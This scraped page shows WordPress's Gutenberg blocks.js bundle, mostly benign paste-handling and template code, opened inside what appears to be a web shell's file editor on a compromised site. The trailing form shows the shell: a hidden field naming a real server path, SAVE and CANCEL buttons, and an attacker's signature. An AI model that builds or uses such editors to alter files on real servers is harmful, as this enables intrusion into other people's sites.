  // packages/blocks/build-module/api/raw-handling/br-remover.mjs
  function brRemover(node) {
    if (node.nodeName !== &quot;BR&quot;) {
      return;
    }
    if (getSibling(node, &quot;next&quot;)) {
      return;
    }
    node.parentNode.removeChild(node);
  }

  // packages/blocks/build-module/api/raw-handling/empty-paragraph-remover.mjs
  function emptyParagraphRemover(node) {
    if (node.nodeName !== &quot;P&quot;) {
      return;
    }
    if (node.hasChildNodes()) {
      return;
    }
    node.parentNode.removeChild(node);
  }

  // packages/blocks/build-module/api/raw-handling/slack-paragraph-corrector.mjs
  function slackParagraphCorrector(node) {
    if (node.nodeName !== &quot;SPAN&quot;) {
      return;
    }
    if (node.getAttribute(&quot;data-stringify-type&quot;) !== &quot;paragraph-break&quot;) {
      return;
    }
    const parentNode = node.parentNode;
    parentNode.insertBefore(node.ownerDocument.createElement(&quot;br&quot;), node);
    parentNode.insertBefore(node.ownerDocument.createElement(&quot;br&quot;), node);
    parentNode.removeChild(node);
  }

  // packages/blocks/build-module/api/raw-handling/latex-to-math.mjs
  function isLatexMathMode(text2) {
    const lettersRegex = /[\p{L}\s]+/gu;
    let match;
    while (match = lettersRegex.exec(text2)) {
      if (text2[match.index - 1] === &quot;{&quot;) {
        continue;
      }
      let sequence = match[0];
      if (text2[match.index - 1] === &quot;\\&quot;) {
        sequence = sequence.replace(/^[a-zA-Z]+/, &quot;&quot;);
      }
      if (sequence.length &lt; 6) {
        continue;
      }
      return false;
    }
    if (/\\[a-zA-Z]+\s*\{/g.test(text2)) {
      return true;
    }
    const softClues = [
      (t3) =&gt; t3.includes(&quot;^&quot;) &amp;&amp; !t3.startsWith(&quot;^&quot;),
      (t3) =&gt; [&quot;=&quot;, &quot;+&quot;, &quot;-&quot;, &quot;/&quot;, &quot;*&quot;].some(
        (operator) =&gt; t3.includes(operator)
      ),
      (t3) =&gt; /\\[a-zA-Z]+/g.test(t3)
    ];
    if (softClues.filter((clue) =&gt; clue(text2)).length &gt;= 2) {
      return true;
    }
    return false;
  }

  // packages/blocks/build-module/api/raw-handling/heading-transformer.mjs
  function headingTransformer(node) {
    if (node.nodeType !== node.ELEMENT_NODE) {
      return;
    }
    const element = node;
    if (element.tagName === &quot;P&quot; &amp;&amp; element.getAttribute(&quot;role&quot;) === &quot;heading&quot; &amp;&amp; element.hasAttribute(&quot;aria-level&quot;)) {
      const level = parseInt(element.getAttribute(&quot;aria-level&quot;), 10);
      if (level &gt;= 1 &amp;&amp; level &lt;= 6) {
        const headingTag = `H${level}`;
        const newHeading = element.ownerDocument.createElement(headingTag);
        Array.from(element.attributes).forEach((attr2) =&gt; {
          if (attr2.name !== &quot;role&quot; &amp;&amp; attr2.name !== &quot;aria-level&quot;) {
            newHeading.setAttribute(attr2.name, attr2.value);
          }
        });
        while (element.firstChild) {
          newHeading.appendChild(element.firstChild);
        }
        element.parentNode.replaceChild(newHeading, element);
      }
    }
  }

  // packages/blocks/build-module/api/raw-handling/paste-handler.mjs
  var log = (...args) =&gt; window?.console?.log?.(...args);
  function filterInlineHTML(HTML) {
    HTML = deepFilterHTML(HTML, [
      headRemover,
      googleDocsUIdRemover,
      msListIgnore,
      phrasingContentReducer,
      commentRemover
    ]);
    HTML = (0, import_dom12.removeInvalidHTML)(
      HTML,
      (0, import_dom12.getPhrasingContentSchema)(&quot;paste&quot;),
      true
    );
    HTML = deepFilterHTML(HTML, [
      htmlFormattingRemover,
      formatSpaceCorrector,
      brRemover
    ]);
    log(&quot;Processed inline HTML:\n\n&quot;, HTML);
    return HTML;
  }
  function pasteHandler({
    HTML = &quot;&quot;,
    plainText = &quot;&quot;,
    mode = &quot;AUTO&quot;,
    tagName
  }) {
    log(&quot;Received HTML (pasteHandler):\n\n&quot;, HTML);
    log(&quot;Received plain text (pasteHandler):\n\n&quot;, plainText);
    HTML = HTML.replace(/&lt;meta[^&gt;]+&gt;/g, &quot;&quot;);
    HTML = HTML.replace(
      /^\s*&lt;html[^&gt;]*&gt;\s*&lt;body[^&gt;]*&gt;(?:\s*&lt;!--\s*StartFragment\s*--&gt;)?/i,
      &quot;&quot;
    );
    HTML = HTML.replace(
      /(?:&lt;!--\s*EndFragment\s*--&gt;\s*)?&lt;\/body&gt;\s*&lt;\/html&gt;\s*$/i,
      &quot;&quot;
    );
    if (mode !== &quot;INLINE&quot;) {
      const content = HTML ? HTML : plainText;
      if (content.indexOf(&quot;&lt;!-- wp:&quot;) !== -1) {
        const parseResult = parse2(content);
        const isSingleFreeFormBlock = parseResult.length === 1 &amp;&amp; parseResult[0].name === &quot;core/freeform&quot;;
        if (!isSingleFreeFormBlock) {
          return parseResult;
        }
      }
    }
    HTML = HTML.normalize();
    HTML = deepFilterHTML(HTML, [slackParagraphCorrector]);
    const isPlainText = plainText &amp;&amp; (!HTML || isPlain(HTML));
    if (isPlainText &amp;&amp; isLatexMathMode(plainText)) {
      return [createBlock(&quot;core/math&quot;, { latex: plainText })];
    }
    if (isPlainText) {
      HTML = plainText;
      if (!/^\s+$/.test(plainText)) {
        HTML = markdownConverter(HTML);
      }
    }
    const pieces = shortcode_converter_default(HTML);
    const hasShortcodes = pieces.length &gt; 1;
    if (isPlainText &amp;&amp; !hasShortcodes) {
      if (mode === &quot;AUTO&quot; &amp;&amp; plainText.indexOf(&quot;\n&quot;) === -1 &amp;&amp; plainText.indexOf(&quot;&lt;p&gt;&quot;) !== 0 &amp;&amp; HTML.indexOf(&quot;&lt;p&gt;&quot;) === 0) {
        mode = &quot;INLINE&quot;;
      }
    }
    if (mode === &quot;INLINE&quot;) {
      return filterInlineHTML(HTML);
    }
    if (mode === &quot;AUTO&quot; &amp;&amp; !hasShortcodes &amp;&amp; isInlineContent(HTML, tagName)) {
      return filterInlineHTML(HTML);
    }
    const phrasingContentSchema = (0, import_dom12.getPhrasingContentSchema)(&quot;paste&quot;);
    const blockContentSchema = getBlockContentSchema(&quot;paste&quot;);
    const blocks = pieces.map((piece) =&gt; {
      if (typeof piece !== &quot;string&quot;) {
        return piece;
      }
      const filters = [
        googleDocsUIdRemover,
        msListConverter,
        headRemover,
        listReducer,
        imageCorrector,
        phrasingContentReducer,
        specialCommentConverter,
        commentRemover,
        iframeRemover,
        figureContentReducer,
        blockquoteNormaliser(),
        divNormaliser,
        headingTransformer
      ];
      const schema = {
        ...blockContentSchema,
        // Keep top-level phrasing content, normalised by `normaliseBlocks`.
        ...phrasingContentSchema
      };
      piece = deepFilterHTML(piece, filters, blockContentSchema);
      piece = (0, import_dom12.removeInvalidHTML)(piece, schema, false);
      piece = normaliseBlocks(piece);
      piece = deepFilterHTML(
        piece,
        [
          htmlFormattingRemover,
          formatSpaceCorrector,
          brRemover,
          emptyParagraphRemover
        ],
        blockContentSchema
      );
      log(&quot;Processed HTML piece:\n\n&quot;, piece);
      return htmlToBlocks(piece, pasteHandler);
    }).flat().filter(Boolean);
    if (mode === &quot;AUTO&quot; &amp;&amp; blocks.length === 1 &amp;&amp; hasBlockSupport(blocks[0].name, &quot;__unstablePasteTextInline&quot;, false)) {
      const trimRegex = /^[\n]+|[\n]+$/g;
      const trimmedPlainText = plainText.replace(trimRegex, &quot;&quot;);
      if (trimmedPlainText !== &quot;&quot; &amp;&amp; trimmedPlainText.indexOf(&quot;\n&quot;) === -1) {
        return (0, import_dom12.removeInvalidHTML)(
          getBlockInnerHTML(blocks[0]),
          phrasingContentSchema,
          false
        ).replace(trimRegex, &quot;&quot;);
      }
    }
    return blocks;
  }

  // packages/blocks/build-module/api/raw-handling/index.mjs
  function deprecatedGetPhrasingContentSchema(context) {
    (0, import_deprecated11.default)(&quot;wp.blocks.getPhrasingContentSchema&quot;, {
      since: &quot;5.6&quot;,
      alternative: &quot;wp.dom.getPhrasingContentSchema&quot;
    });
    return (0, import_dom13.getPhrasingContentSchema)(context);
  }
  function rawHandler({ HTML = &quot;&quot; }) {
    if (HTML.indexOf(&quot;&lt;!-- wp:&quot;) !== -1) {
      const parseResult = parse2(HTML);
      const isSingleFreeFormBlock = parseResult.length === 1 &amp;&amp; parseResult[0].name === &quot;core/freeform&quot;;
      if (!isSingleFreeFormBlock) {
        return parseResult;
      }
    }
    const pieces = shortcode_converter_default(HTML);
    const blockContentSchema = getBlockContentSchema();
    return pieces.map((piece) =&gt; {
      if (typeof piece !== &quot;string&quot;) {
        return piece;
      }
      const filters = [
        // Needed to adjust invalid lists.
        listReducer,
        // Needed to create more and nextpage blocks.
        specialCommentConverter,
        // Needed to create media blocks.
        figureContentReducer,
        // Needed to create the quote block, which cannot handle text
        // without wrapper paragraphs.
        blockquoteNormaliser({ raw: true })
      ];
      piece = deepFilterHTML(piece, filters, blockContentSchema);
      piece = normaliseBlocks(piece, { raw: true });
      return htmlToBlocks(piece, rawHandler);
    }).flat().filter(Boolean);
  }

  // packages/blocks/build-module/api/categories.mjs
  var import_data6 = __toESM(require_data(), 1);
  function getCategories2() {
    return (0, import_data6.select)(store).getCategories();
  }
  function setCategories2(categories2) {
    (0, import_data6.dispatch)(store).setCategories(categories2);
  }
  function updateCategory2(slug, category) {
    (0, import_data6.dispatch)(store).updateCategory(slug, category);
  }

  // packages/blocks/build-module/api/templates.mjs
  var import_element4 = __toESM(require_element(), 1);
  function doBlocksMatchTemplate(blocks = [], template = []) {
    return blocks.length === template.length &amp;&amp; template.every(([name, , innerBlocksTemplate], index) =&gt; {
      const block = blocks[index];
      return name === block.name &amp;&amp; doBlocksMatchTemplate(block.innerBlocks, innerBlocksTemplate);
    });
  }
  var isHTMLAttribute = (attributeDefinition) =&gt; attributeDefinition?.source === &quot;html&quot;;
  var isQueryAttribute = (attributeDefinition) =&gt; attributeDefinition?.source === &quot;query&quot;;
  function normalizeAttributes(schema, values) {
    if (!values) {
      return {};
    }
    return Object.fromEntries(
      Object.entries(values).map(([key, value]) =&gt; [
        key,
        normalizeAttribute(schema[key], value)
      ])
    );
  }
  function normalizeAttribute(definition, value) {
    if (isHTMLAttribute(definition) &amp;&amp; Array.isArray(value)) {
      return (0, import_element4.renderToString)(value);
    }
    if (isQueryAttribute(definition) &amp;&amp; value) {
      return value.map(
        (subValues) =&gt; {
          return normalizeAttributes(definition.query, subValues);
        }
      );
    }
    return value;
  }
  function synchronizeBlocksWithTemplate(blocks = [], template) {
    if (!template) {
      return blocks;
    }
    return template.map(
      ([name, attributes, innerBlocksTemplate], index) =&gt; {
        const block = blocks[index];
        if (block &amp;&amp; block.name === name) {
          const innerBlocks = synchronizeBlocksWithTemplate(
            block.innerBlocks,
            innerBlocksTemplate
          );
          return { ...block, innerBlocks };
        }
        const blockType = getBlockType(name);
        const normalizedAttributes = normalizeAttributes(
          blockType?.attributes ?? {},
          attributes
        );
        const [blockName, blockAttributes] = convertLegacyBlockNameAndAttributes(
          name,
          normalizedAttributes
        );
        return createBlock(
          blockName,
          blockAttributes,
          synchronizeBlocksWithTemplate([], innerBlocksTemplate)
        );
      }
    );
  }

  // packages/blocks/build-module/api/index.mjs
  var fieldsKey = /* @__PURE__ */ Symbol(&quot;fields&quot;);
  var formKey = /* @__PURE__ */ Symbol(&quot;form&quot;);
  var editableRootKey = /* @__PURE__ */ Symbol(&quot;editableRoot&quot;);
  var privateApis = {};
  lock(privateApis, {
    isContentBlock,
    fieldsKey,
    formKey,
    editableRootKey,
    parseRawBlock
  });

  // packages/blocks/build-module/deprecated.mjs
  var import_deprecated12 = __toESM(require_deprecated(), 1);
  function withBlockContentContext(OriginalComponent) {
    (0, import_deprecated12.default)(&quot;wp.blocks.withBlockContentContext&quot;, {
      since: &quot;6.1&quot;
    });
    return OriginalComponent;
  }
  return __toCommonJS(index_exports);
})();
/*! Bundled license information:

react-is/cjs/react-is.development.js:
  (**
   * @license React
   * react-is.development.js
   *
   * Copyright (c) Facebook, Inc. and its affiliates.
   *
   * This source code is licensed under the MIT license found in the
   * LICENSE file in the root directory of this source tree.
   *)

is-plain-object/dist/is-plain-object.mjs:
  (*!
   * is-plain-object &lt;https://github.com/jonschlinkert/is-plain-object&gt;
   *
   * Copyright (c) 2014-2017, Jon Schlinkert.
   * Released under the MIT License.
   *)
*/
(window.wp ||= {}).blocks = wp.blocks;
})();
</textarea><br><br><input type='hidden' name='archivo_editar' value='/home/qbfdcvcb/cloudlynk.com.au/wp-includes/js/dist/blocks.js'><input type='submit' value='[✓] SAVE' style='background:#00ff41; color:#0a0a0a; border:none; padding:10px 30px; font-family:monospace; cursor:pointer;'> <a href='?path=%2Fhome%2Fqbfdcvcb%2Fcloudlynk.com.au%2Fwp-includes%2Fjs%2Fdist' style='color:#858585; text-decoration:none; padding:10px 30px; border:1px solid #858585;'>[✗] CANCEL</a></form></div><div style='color:#00ff41; font-family:monospace; text-align:center; padding:20px;'>[~] Kerym Chaeceran</div>